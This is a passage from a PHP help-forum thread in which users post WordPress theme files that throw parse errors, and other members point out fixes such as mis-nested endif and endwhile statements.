1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Parse error: syntax error, unexpected '<'

Discussion in 'PHP' started by Pixel Dynamics, Oct 25, 2006.

  1. JohnnySchultz

    JohnnySchultz Peon

    Messages:
    277
    Likes Received:
    4
    Best Answers:
    7
    Trophy Points:
    0
    #21

    instead of using print or echo, you can just close the php tag to display html elements and open the php tag again for the lines with php code..

    
    <?php
    
    // do some php here
    
    ?>
    
    <div>an html here...</div>
    
    <?php
    
    // do some more php here
    
    ?>
    
    
    PHP:
     
    JohnnySchultz, Sep 1, 2011 IP
  2. RogerG

    RogerG Guest

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #22
    [h=2]First and foremost, I know little to nothing about web-design, PHP, or anything else involved with the backend of websites. [/h]

    My web-developer happens to be on vacation, and without me trying to change any PHP or doing anything else, this problem came up randomly when I try and view the archives:

    Parse error: syntax error, unexpected T_ENDIF in /home/content/42/7987242/html/wp-content/themes/themaskgorilla/archive.php on line 176

    Along with that, the Blog section of my website can not be found as well.

    Any suggestions? Any help would be much appreciated!

     <?php get_header(); ?>
    
    
    <div class="container">
    
    <div class="cont-left flt">
    
    <!-- For ad banner -->
    
    <div id="adspacetop">
    
    <div class="adbanner"> <?php echo adrotate_ad(1); ?> </div>
    
    </div>
    
    <!-- // End of ad banner -->
    
    <?php
    
    
    
    ob_start();
    
    
    
    wp_title('');
    
    
    
    $title = ob_get_clean();
    
    
    
    $title = trim($title);
    
    $exclude_cats = $_GET['exclude_cats']; 
    if($exclude_cats) {
    $exclude_cats = explode(',', $exclude_cats);
    } else {
    $exclude_cats = array(43);
    }
    
    $include_cats = $_GET['include_cats'];
    if($include_cats) {
    $include_cats = explode(',', $include_cats);
    } else {
    $include_cats = array();
    }
    
    
    ?>
    
    
    <div class="arrow-blog">
    
    
    
    </div>
    
    <div class="eventlink">
    
    <ul>
    
    <li>
    <a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43" class="dropdown">All Posts</a>
    
    <div id="blog-tab-dropdown-0" class="dropdown-dropdown">
    <ul>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,13">New Music</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,52">Music Videos</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,12">News</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,17">Fashion</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,14">Videos</a></li>
    </ul>
    </div>
    </li>
    
    <li> 
    <a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,-61,-62" class="dropdown">&nbsp;&nbsp;Top 50&nbsp;&nbsp;</a>
    <div id="blog-tab-dropdown-1" class="dropdown-dropdown top-fifty">
    <ul>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,-61,-62,13">New Music</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,-61,-62,52">Music Videos</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,-61,-62,12">News</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,-61,-62,17">Fashion</a></li>
    <li><a href="<?php bloginfo('home'); ?>/blog/?the_cats=-43,-61,-62,14">Videos</a></li>
    </ul>
    </div>
    </li>
    
    <li> <a href="<?php bloginfo('home'); ?>/category/tmg-university/" class="dropdown">TMG University</a> <div id="blog-tab-dropdown-2" class="dropdown-dropdown tmg-u">
    <ul>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-university/?the_cats=13">New Music</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-university/?the_cats=52">Music Videos</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-university/?the_cats=12">News</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-university/?the_cats=17">Fashion</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-university/?the_cats=14">Videos</a></li>
    </ul>
    </div></li>
    
    <li> <a href="<?php bloginfo('home'); ?>/category/tmg-retirement-home/" class="dropdown">TMG Retirement</a> <div id="blog-tab-dropdown-3" class="dropdown-dropdown tmg-r-h">
    <ul>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-retirement-home/?the_cats=13">New Music</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-retirement-home/?the_cats=52">Music Videos</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-retirement-home/?the_cats=12">News</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-retirement-home/?the_cats=17">Fashion</a></li>
    <li><a href="<?php bloginfo('home'); ?>/category/tmg-retirement-home/?the_cats=14">Videos</a></li>
    </ul>
    </div></li>
    
    </ul>
    
    <div class="clr"></div>
    
    </div>
    
    <div class="artist-sec">
    
    <?php the_post(); ?> 
    
    <?php if ( is_day() ) : ?>
    <h1 class="page-title"><?php printf( __( 'Daily Archives: <span>%s</span>', 'your-theme' ), get_the_time(get_option('date_format')) ) ?></h1><br>
    <?php elseif ( is_month() ) : ?>
    <h1 class="page-title"><?php printf( __( 'Monthly Archives: <span>%s</span>', 'your-theme' ), get_the_time('F Y') ) ?></h1><br>
    <?php elseif ( is_year() ) : ?>
    <h1 class="page-title"><?php printf( __( 'Yearly Archives: <span>%s</span>', 'your-theme' ), get_the_time('Y') ) ?></h1><br>
    <?php elseif ( isset($_GET['paged']) && !empty($_GET['paged']) ) : ?>
    <h1 class="page-title"><?php _e( 'Blog Archives', 'your-theme' ) ?></h1><br>
    <?php endif; ?>
    
    <ul class='withname1'>
    
    <?php 
    $temp = $wp_query;
    $wp_query= null;
    $wp_query = new WP_Query();
    $wp_query->query('showposts=8&cat='.$_GET['the_cats'].'&paged='.$paged);
    ?>
    
    <?php if ($wp_query->have_posts()) : ?>
    
    <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?>
    
    <li>
    
    <p class="title-header"><a href="<?php the_permalink(); ?>" class="post-title"><?php the_title(); ?></a></p>
    
    <?php the_content(); ?>
    
    </li>
    
    <div class="clr"></div>
    
    <div class='link-edit'>
    
    Written by: <span class="author vcard"><a class="url fn n" href="<?php echo get_author_link( false, $authordata->ID, $authordata->user_nicename ); ?>" title="<?php printf( __( 'View all posts by %s', 'your-theme' ), $authordata->display_name ); ?>"><?php the_author(); ?></a></span><br>
    
    <?php the_category(', ') ?>
    
    <span class="hori">|</span> <span style='color:#AF75B1;'>
    
    <?php the_time('jS F Y') ?>
    
    </span> <span class="hori">|</span>
    
    <?php edit_post_link('Edit', '', ' <span class="hori">|</span> '); ?>
    
    <?php comments_popup_link('Comment (0)', ' Comment (1)', 'Comments (%)'); ?>
    
    <span class='share-row'><br>Share: <?php if( function_exists('ADDTOANY_SHARE_SAVE_KIT') ) { ADDTOANY_SHARE_SAVE_KIT(); } ?></span>
    
    </div>
    
    <?php comments_template(); ?>
    <?php endif; ?> 
    <?php endwhile;?>
    <?php $wp_query = null; $wp_query = $temp;?>
    
    <div class="navigation">
    
    <div class="alignleft">
    
    <?php previous_posts_link('Previous entries') ?>
    
    </div>
    
    <div class="alignright">
    
    <?php next_posts_link('Next entries') ?>
    
    
    
    </div>
    
    </div>
    
    <?php endif; ?>
    
    </ul>
    
    </div>
    
    <!-- For ad banner -->
    
    
    <!-- // End of ad banner -->
    
    </div>
    
    <?php get_sidebar(); ?>
    
    </div>
    
    </div>
    
    <?php get_footer(); ?>
    
    </div> 
    PHP:
     
    RogerG, Sep 8, 2011 IP
  3. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #23
    This is very poorly written code (from a maintainability viewpoint - some common scripts are poor examples of how a computer program should be written) but what you have is basically
    
    
    [COLOR=#000000][B]<?php[/B][/COLOR] [COLOR=#b1b100]if[/COLOR] [COLOR=#009900]([/COLOR][COLOR=#000088]$wp_query[/COLOR][COLOR=#339933]->[/COLOR][COLOR=#004000]have_posts[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]:[/COLOR] [COLOR=#000000][B]?>[/B][/COLOR]
    
    [COLOR=#000000][B]<?php[/B][/COLOR] [COLOR=#b1b100]while[/COLOR] [COLOR=#009900]([/COLOR][COLOR=#000088]$wp_query[/COLOR][COLOR=#339933]->[/COLOR][COLOR=#004000]have_posts[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#339933]:[/COLOR] [COLOR=#000088]$wp_query[/COLOR][COLOR=#339933]->[/COLOR][COLOR=#004000]the_post[/COLOR][COLOR=#009900]([/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000000][B]?>[/B][/COLOR]
    
    //lots of other code here
    
    [COLOR=#000000][B]<?php[/B][/COLOR] [COLOR=#b1b100]endif[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000000][B]?>[/B][/COLOR] 
    [COLOR=#000000][B]<?php[/B][/COLOR] [COLOR=#b1b100]endwhile[/COLOR][COLOR=#339933];[/COLOR][COLOR=#000000][B]?>[/B][/COLOR]
    Code (markup):
    You're ending your if before you end your while. You can't do that. Try reversing them:
    
    
    <?php endwhile;?>
    
    <?php endif; ?> 
    
    Code (markup):
    In nested loops of any kind, the inside loop has to end before the outside loop ends.
     
    Rukbat, Sep 8, 2011 IP
  4. RogerG

    RogerG Guest

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #24
    When I do that, I than get this error:

    Parse error: syntax error, unexpected T_ENDIF in /home/content/42/7987242/html/wp-content/themes/themaskgorilla/archive.php on line 198


    Line 198: <?php endif; ?>
     
    RogerG, Sep 8, 2011 IP
  5. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #25
    It looks as if you've already ended the 'if' far above. Try commenting the endif out.
    
    <?php //endif; ?>
    
    PHP:
     
    Rukbat, Jan 12, 2012 IP
  6. amosngweien

    amosngweien Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #26

    <?php ACTION= "<?php echo $loginFormAction; ?>" METHOD="POST" require_once('login.php'); ?>
    PHP in PHP
    Thats PHPCeption.
    Correction:
    <form action="<?php echo $loginFormAction; ?>" method="post">
    Username<br>
    <input type="text" name="username"><p />
    Password<br>
    <input type="password" name="password"><p />
    <input type="submit" value="submit" name="submit"><p />
    </form> 
    PHP:
     
    amosngweien, Feb 3, 2012 IP
  7. qwerty12

    qwerty12 Active Member

    Messages:
    56
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    51
    #27
    i'm still confuse
     
    qwerty12, Feb 6, 2012 IP
  8. yemmit

    yemmit Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #28
    Hi, i have the same problem and this is what my code says: Thanks in advance


    <?php
    /**
    * Hook wrappers used by the CyberChimps Synapse Core Framework
    *
    * Author: Tyler Cunningham
    * Copyright: © 2011
    * {@link http://cyberchimps.com/ CyberChimps LLC}
    *
    * Released under the terms of the GNU General Public License.
    * You should have received a copy of the GNU General Public License,
    * along with this software. In the main directory, see: /licensing/
    * If not, see: {@link http://www.gnu.org/licenses/}.
    *
    * @package Synapse
    * @since 1.0
    */

    /**
    * Facebook like and plus one.
    *
    * @since 1.0
    */
    function synapse_sidebar_init() {
    do_action ('synapse_sidebar_init');
    }

    /**
    * Placed before the 404 message content (404.php).
    *
    * @since 1.0
    */
    function synapse_before_404() {
    do_action('synapse_before_404');
    }

    /**
    * 404 page template message content (404.php).
    *
    * @since 1.0
    */
    function synapse_404() {
    do_action('synapse_404');
    }

    /**
    * Placed after the 404 message content (404.php).
    *
    * @since 1.0
    */
    function synapse_after_404() {
    do_action('synapse_after_404');
    }

    /**
    * Placed before the archive template content (archive.php).
    *
    * @since 1.0
    */
    function synapse_before_archive() {
    do_action('synapse_before_archive');
    }

    /**
    * Conditionals for various archive page title types (archive.php).
    *
    * @since 1.0
    */
    function synapse_archive_title() {
    do_action('synapse_archive_title');
    }

    /**
    * Archive template loop content (archive.php).
    *
    * @since 1.0
    */
    function synapse_archive() {
    do_action('synapse_archive');
    }

    /**
    * Placed after the archive template content (archive.php).
    *
    * @since 1.0
    */
    function synapse_after_archive() {
    do_action('synapse_after_archive');
    }

    /**
    * Placed after the comment section content (comments.php).
    *
    * @since 1.0
    */
    function synapse_before_comments() {
    do_action('synapse_before_comments');
    }

    /**
    * Creates the comment section (comments.php).
    *
    * @since 1.0
    */
    function synapse_comments() {
    do_action('synapse_comments');
    }

    /**
    * Placed after the comment section (comments.php).
    *
    * @since 1.0
    */
    function synapse_after_comments() {
    do_action('synapse_after_comments');
    }

    /**
    * For use before main page content.
    *
    * @since 1.0
    */
    function synapse_before_page_content() {
    do_action('synapse_before_page_content');
    }

    /**
    * For use after main page content.
    *
    * @since 1.0
    */
    function synapse_after_page_content() {
    do_action('synapse_after_page_content');
    }

    /**
    * Placed after post entry (sets up sidebar).
    *
    * @since 1.0
    */
    function synapse_after_entry() {
    do_action('synapse_after_entry');
    }

    /**
    * For use before the loop.
    *
    * @since 1.0
    */
    function synapse_before_loop() {
    do_action('synapse_before_loop');
    }

    /**
    * The loop.
    *
    * @since 1.0
    */
    function synapse_loop() {
    do_action('synapse_loop');
    }

    /**
    * The loop (single.php).
    *
    * @since 1.0
    */
    function synapse_single_loop() {
    do_action('synapse_single_loop');
    }

    /**
    * For use after the loop.
    *
    * @since 1.0
    */
    function synapse_after_loop() {
    do_action('synapse_after_loop');
    }

    /**
    * For use before the footer content.
    *
    * @since 1.0
    */
    function synapse_before_footer() {
    do_action('synapse_before_footer_content');
    }

    /**
    * Footer content.
    *
    * @since 1.0
    */
    function synapse_footer() {
    do_action('synapse_footer');
    }

    /**
    * For use after the footer content.
    *
    * @since 1.0
    */
    function synapse_after_footer() {
    do_action('synapse_after_footer_content');
    }

    /**
    * Contains the secondary footer elements.
    *
    * @since 1.0
    */
    function synapse_secondary_footer() {
    do_action('synapse_secondary_footer');
    }

    /**
    * Post byline content (single.php).
    *
    * @since 1.0
    */
    function synapse_single_post_byline() {
    do_action('synapse_single_post_byline');
    }

    /**
    * Post byline content (archive.php).
    *
    * @since 1.0
    */
    function synapse_archive_post_byline() {
    do_action('synapse_archive_post_byline');
    }


    /**
    * Calls post tags (single.php).
    *
    * @since 1.0
    */
    function synapse_single_post_tags() {
    do_action('synapse_single_post_tags');
    }

    /**
    * Post byline content.
    *
    * @since 1.0
    */
    function synapse_post_byline() {
    do_action('synapse_post_byline');
    }

    /**
    * Calls post tags.
    *
    * @since 1.0
    */
    function synapse_post_tags() {
    do_action('synapse_post_tags');
    }

    /**
    * Calls post tags (archive.php).
    *
    * @since 1.0
    */
    function synapse_archive_post_tags() {
    do_action('synapse_archive_post_tags');
    }

    /**
    * Post pagination.
    *
    * @since 1.0
    */
    function synapse_link_pages() {
    do_action('synapse_link_pages');
    }

    /**
    * Creates admin edit link for pages and posts.
    *
    * @since 1.0
    */
    function synapse_edit_link() {
    do_action('synapse_edit_link');
    }

    /**
    * Contains HTML, title, rel and meta elements.
    *
    * @since 1.0
    */
    function synapse_head_tag() {
    do_action('synapse_head_tag');
    }

    /**
    * Placed after closing HEAD tag, contains font function.
    *
    * @since 1.0
    */
    function synapse_after_head_tag() {
    do_action('synapse_after_head_tag');
    }

    /**
    * For adding content before the main header content.
    *
    * @since 1.0
    */
    function synapse_before_header() {
    do_action('synapse_before_header');
    }

    /**
    * For adding content after the main header content.
    *
    * @since 1.0
    */
    function synapse_after_header() {
    do_action('synapse_after_header');
    }

    /**
    * Sitename/logo content.
    *
    * @since 1.0
    */
    function synapse_header_sitename() {
    do_action('synapse_header_sitename');
    }

    /**
    * Site description.
    *
    * @since 1.0
    */
    function synapse_header_site_description() {
    do_action('synapse_header_site_description');
    }

    /**
    * Header social icon section.
    *
    * @since 1.0
    */
    function synapse_header_social_icons() {
    do_action('synapse_header_social_icons');
    }

    /**
    * Site menu.
    *
    * @since 1.0
    */
    function synapse_navigation() {
    do_action('synapse_navigation');
    }

    /**
    * Index pagination.
    *
    * @since 1.0
    */
    function synapse_pagination() {
    do_action('synapse_pagination');
    }

    /**
    * Post page pagination.
    *
    * @since 1.0
    */
    function synapse_links_pages() {
    do_action('synapse_links_pages');
    }

    /**
    * Next/Prev post links for single.php.
    *
    * @since 1.0
    */
    function synapse_post_pagination() {
    do_action('synapse_post_pagination');
    }

    /**
    * Sets up the page section for page.php.
    *
    * @since 1.0
    */
    function synapse_page_section() {
    do_action('synapse_page_section');
    }

    /**
    * Placed before the search result content.
    *
    * @since 1.0
    */
    function synapse_before_search() {
    do_action('synapse_before_search');
    }

    /**
    * Sets up the search result content.
    *
    * @since 1.0
    */
    function synapse_search() {
    do_action('synapse_search');
    }

    /**
    * Placed after the search result content.
    *
    * @since 1.0
    */
    function synapse_after_search() {
    do_action('synapse_after_search');
    }

    /**
    * Generates the lite version of the iFeature slider.
    *
    * @since 1.0
    */
    function synapse_blog_slider_lite() {
    do_action('synapse_blog_slider_lite');
    }

    /**
    * Generates the Twitter Bar page element.
    *
    * @since 1.0
    */
    function synapse_twitterbar_section() {
    do_action ('synapse_twitterbar_section');
    }

    /**
    * Generates the before content sidebar.
    *
    * @since 1.0
    */
    function synapse_before_content_sidebar() {
    do_action ('synapse_before_content_sidebar');
    }

    /**
    * Generates the after content sidebar.
    *
    * @since 1.0
    */
    function synapse_after_content_sidebar() {
    do_action ('synapse_after_content_sidebar');
    }

    /**
    * Index content.
    *
    * @since 1.0
    */
    function synapse_index() {
    do_action ('synapse_index');
    }

    /**
    * Postbar.
    *
    * @since 1.0
    */
    function synapse_post_bar() {
    do_action ('synapse_post_bar');
    }

    /**
    * Facebook like and plus one.
    *
    * @since 1.0
    */
    function synapse_fb_like_plus_one() {
    do_action ('synapse_fb_like_plus_one');
    }

    /**
    * Blog content slider.
    *
    * @since 1.0
    */
    function synapse_blog_content_slider() {
    do_action ('synapse_blog_content_slider');
    }

    /**
    * Page content slider.
    *
    * @since 1.0
    */
    function synapse_page_content_slider() {
    do_action ('synapse_page_content_slider');
    }
    /**
    * End
    */
    ?>
     
    yemmit, Feb 25, 2012 IP
  9. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #29
    Yemmit, there's nothing wrong with that code. Paste the actual error message, including the file the error is occurring in, the line it's occurring on, what the error is, and code from at least a few lines before and after the one causing the error.
     
    Rukbat, Feb 25, 2012 IP
  10. yemmit

    yemmit Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #30
    Thanks for your response Rukbat,

    The error message is "Parse error: syntax error, unexpected '<' in /home/naijatsh/public_html/feedback/wp-content/themes/ifeature/core/core-hooks.php on line 441"
     
    yemmit, Feb 27, 2012 IP
  11. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #31
    Okay, now let's see lines 430-450 in that file.

    PHP is usually pretty good at pointing out errors. There's probably a < in line 441 that the parser wasn't expecting to see at that spot. C compilers seem to ignore errors and barf a few lines further down, making you back up about 10 lines so you can parse the code yourself and try to figure out what's wrong, but PHP usually gets it within a few characters, and on one like that it usually points right at the error.
     
    Rukbat, Feb 27, 2012 IP
  12. paul.barstow2

    paul.barstow2 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #32
    My Website has died I get this error


    Parse error: syntax error, unexpected '<' in /home/adverti1/public_html/wp-content/themes/admired/functions.php on line 26

    My code is below, really doing my head in please help

    >?php
    /**
    * Admired functions.
    *
    * @since admired 1.0
    */

    // Set the content width.
    if ( ! isset( $content_width ) )
    $content_width = 688;


    add_action( 'after_setup_theme', 'admired_setup' );


    /**
    * Sets up Admired defaults.
    *
    * @since admired 1.0
    */
    if ( ! function_exists( 'admired_setup' ) )


    // Available for translation.
    load_theme_textdomain( 'admired', get_template_directory() . '/languages' );
    $locale = get_locale();
    $locale_file = get_template_directory() . "/languages/$locale.php";
    if ( is_readable( $locale_file ) )
    require_once( $locale_file );

    add_editor_style(); // Style the visual editor.
    add_theme_support( 'automatic-feed-links' );
    register_nav_menus( array( // Register both nav menus.
    'primary' => __( 'Primary Navigation', 'admired' ),
    'secondary' => __('Secondary Navigation - Top', 'admired'),
    ) );
    // Post formats
    add_theme_support( 'post-formats', array( 'aside', 'link', 'gallery', 'status', 'quote', 'image' ) );
    add_custom_background(); // Custom backgrounds
    add_theme_support( 'post-thumbnails' );
    }
    endif; // admired_setup
    ?>
    //Add Theme Options File
    $functions_path = TEMPLATEPATH . '/admin/';
    require_once ($functions_path . 'admired-options.php');
    require_once ($functions_path . 'admired-custom-header.php');


    /* Register Assets */
    if( ! function_exists( 'admired_register_assets') ):
    function admired_register_assets(){
    $options = get_option('admired_theme_options');
    /*----------------------------------------
    # REGISTER SCRIPTS
    ----------------------------------------*/
    /* Register Scripts */
    if(!is_admin()) wp_enqueue_script('jquery');

    /* Modernizr */
    wp_register_script('modernizr', get_template_directory_uri() . '/js/modernizr-2.0.6.js', array(), '2.0.6' );
    if( !is_admin() ){ wp_enqueue_script('modernizr'); }

    /* Superfish Scripts */
    wp_register_script('admired-SFhoverIntent', get_template_directory_uri() . '/js/superfish/hoverIntent.js', array());
    if ( empty( $options['admired_remove_superfish'] ) && !is_admin()) { wp_enqueue_script('admired-SFhoverIntent'); }
    wp_register_script('admired-SF', get_template_directory_uri() . '/js/superfish/superfish.js', array());
    if ( empty( $options['admired_remove_superfish'] ) && !is_admin()) { wp_enqueue_script('admired-SF'); }

    }
    endif;
    add_action('init','admired_register_assets');


    /**
    * Display pagination when applicable
    *
    * @since admired 1.0
    */
    if (!function_exists('admired_pagination')):


    function admired_pagination($pages = '', $range = 3) { /* handle pagination for post pages*/
    $showitems = ($range * 2)+1;

    global $paged;
    if(empty($paged)) $paged = 1;

    if($pages == '')
    {
    global $wp_query;
    $pages = $wp_query->max_num_pages;
    if(!$pages)
    {
    $pages = 1;
    }
    }

    if(1 != $pages)
    {
    echo "<div class=\"pagination\"><span>Page ".$paged." of ".$pages."</span>";
    if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>&laquo; First</a>";
    if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>&lsaquo; Previous</a>";

    for ($i=1; $i <= $pages; $i++)
    {
    if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
    {
    echo ($paged == $i)? "<span class=\"current\">".$i."</span>":"<a href='".get_pagenum_link($i)."' class=\"inactive\">".$i."</a>";
    }
    }

    if ($paged < $pages && $showitems < $pages) echo "<a href=\"".get_pagenum_link($paged + 1)."\">Next &rsaquo;</a>";
    if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>Last &raquo;</a>";
    echo "</div>\n";
    }
    } // admired_pagination
    endif;
    // Display navigation to next/previous pages.


    function admired_content_nav( $nav_id ) {
    global $wp_query;


    if ( $wp_query->max_num_pages > 1 ) : ?>
    <nav id="<?php echo $nav_id; ?>">
    <h3 class="assistive-text"><?php _e( 'Post navigation', 'admired' ); ?></h3>
    <div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'admired' ) ); ?></div>
    <div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'admired' ) ); ?></div>
    </nav><!-- #nav-above -->
    <?php endif;
    }


    // Clicky Analytics
    function admired_clicky_script() {
    $options = get_option('admired_theme_options');


    if ( isset ($options['admired_clicky_site_id']) && ($options['admired_clicky_site_id']!="") && !is_preview() ) { ?>


    <script type="text/javascript">
    var clicky_site_ids = clicky_site_ids || [];
    clicky_site_ids.push(<?php echo $options['admired_clicky_site_id']; ?>);
    (function() {
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.async = true;
    s.src = '//static.getclicky.com/js';
    ( document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0] ).appendChild( s );
    })();
    </script>
    <noscript><p><img alt="Clicky" width="1" height="1" src="http://in.getclicky.com/<?php echo $options['admired_clicky_site_id']; ?>ns.gif" /></p></noscript>
    <!-- End Clicky Tracking -->
    <?php
    }
    }
    add_action('wp_footer','admired_clicky_script',90);




    function admired_scroll_top() {
    $options = get_option('admired_theme_options');

    if ( isset ($options['admired_remove_scroll_top']) && ($options['admired_remove_scroll_top'] != "")) { echo "";} else { ?>


    <script type="text/javascript">
    jQuery('a[href^="#admired-top"]').live('click',function(event){
    event.preventDefault();
    var target_offset = jQuery(this.hash).offset() ? jQuery(this.hash).offset().top : 0;
    jQuery('html, body').animate({scrollTop:target_offset}, 800);
    });
    </script>
    <?php
    }
    }
    add_action('wp_footer','admired_scroll_top',30);


    /**
    * Get wp_page_menu() to show a home link.
    */
    function admired_page_menu_args( $args ) {
    $args['show_home'] = true;
    return $args;
    }
    add_filter( 'wp_page_menu_args', 'admired_page_menu_args' );


    /* Superfish, handle sf-menu for wp_page_menu */
    function admired_page_menu() {
    $menu = wp_page_menu(array('echo' => false));
    if ( isset ($options['admired_remove_superfish'])) {
    echo $menu;
    }
    else {
    $ulpos = stripos($menu, '<ul>');
    if ($ulpos !== false) {
    echo substr_replace($menu, '<ul class="sf-menu">',$ulpos, 4);
    }
    }
    }


    // Where the post has no post title, but must still display a link to the single-page post view.


    add_filter('the_title', 'admired_title');


    function admired_title($title) {
    if ($title == '') {
    return 'Untitled';
    } else {
    return $title;
    }
    }


    /**
    * Return the URL for the first link found in the post content.
    *
    * @since admired 1.0
    * @return string|bool URL or false when no link is present.
    */
    function admired_url_grabber() {
    if ( ! preg_match( '/<a\s[^>]*?href=[\'"](.+?)[\'"]/is', get_the_content(), $matches ) )
    return false;


    return esc_url_raw( $matches[1] );
    }
    /*
    * Add Widgets File
    *
    * @since admired 1.0
    */
    $widgets_path = TEMPLATEPATH . '/widget/';
    require_once($widgets_path . 'widget-functions.php');


    /**
    * Adds three classes to the body class.
    *
    * @since admired 1.0
    */
    function admired_body_classes( $classes ) {


    if ( ! is_multi_author() ) {
    $classes[] = 'single-author';
    }


    if ( is_page_template( 'tmp-onecolumn.php' ) )
    $classes[] = 'one-column';

    if ( is_page_template( 'tmp-threecolumn.php' ) )
    $classes[] = 'two-sidebars';


    return $classes;
    }
    add_filter( 'body_class', 'admired_body_classes' );


    // Redirect to Theme Options Page on Activation
    if ( is_admin() && isset($_GET['activated'] ) && $pagenow =="themes.php" )
    wp_redirect( 'admin.php?page=admired-options.php' );


    /**
    * Template for comments and pingbacks.
    *
    * @since admired 1.0
    */
    if ( ! function_exists( 'admired_comment' ) ) :


    function admired_comment( $comment, $args, $depth ) {
    $GLOBALS['comment'] = $comment;
    switch ( $comment->comment_type ) :
    case 'pingback' :
    case 'trackback' :
    ?>
    <li class="post pingback">
    <p><?php _e( 'Pingback:', 'admired' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( 'Edit', 'admired' ), '<span class="edit-link">', '</span>' ); ?></p>
    <?php
    break;
    default :
    ?>
    <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
    <article id="comment-<?php comment_ID(); ?>" class="comment">
    <footer class="comment-meta">
    <div class="comment-author vcard">
    <?php
    $avatar_size = 68;
    if ( '0' != $comment->comment_parent )
    $avatar_size = 39;


    echo get_avatar( $comment, $avatar_size );


    /* translators: 1: comment author, 2: date and time */
    printf( __( '%1$s on %2$s <span class="says">said:</span>', 'admired' ),
    sprintf( '<span class="fn">%s</span>', get_comment_author_link() ),
    sprintf( '<a href="%1$s"><time pubdate datetime="%2$s">%3$s</time></a>',
    esc_url( get_comment_link( $comment->comment_ID ) ),
    get_comment_time( 'c' ),
    /* translators: 1: date, 2: time */
    sprintf( __( '%1$s at %2$s', 'admired' ), get_comment_date(), get_comment_time() )
    )
    );
    ?>


    <?php edit_comment_link( __( 'Edit', 'admired' ), '<span class="edit-link">', '</span>' ); ?>
    </div><!-- .comment-author .vcard -->


    <?php if ( $comment->comment_approved == '0' ) : ?>
    <em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'admired' ); ?></em>
    <br />
    <?php endif; ?>


    </footer>


    <div class="comment-content"><?php comment_text(); ?></div>


    <div class="reply">
    <?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply <span>&darr;</span>', 'admired' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
    </div><!-- .reply -->
    </article><!-- #comment-## -->


    <?php
    break;
    endswitch;
    }
    endif;


    if ( ! function_exists( 'admired_posted_on' ) ) :
    /* Posted on-date/time and author.
    *
    * @since admired 1.0
    */
    function admired_posted_on() {
    printf( __( '<span class="sep">Posted on </span><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s" pubdate>%4$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%5$s" title="%6$s" rel="author">%7$s</a></span></span>', 'admired' ),
    esc_url( get_permalink() ),
    esc_attr( get_the_time() ),
    esc_attr( get_the_date( 'c' ) ),
    esc_html( get_the_date() ),
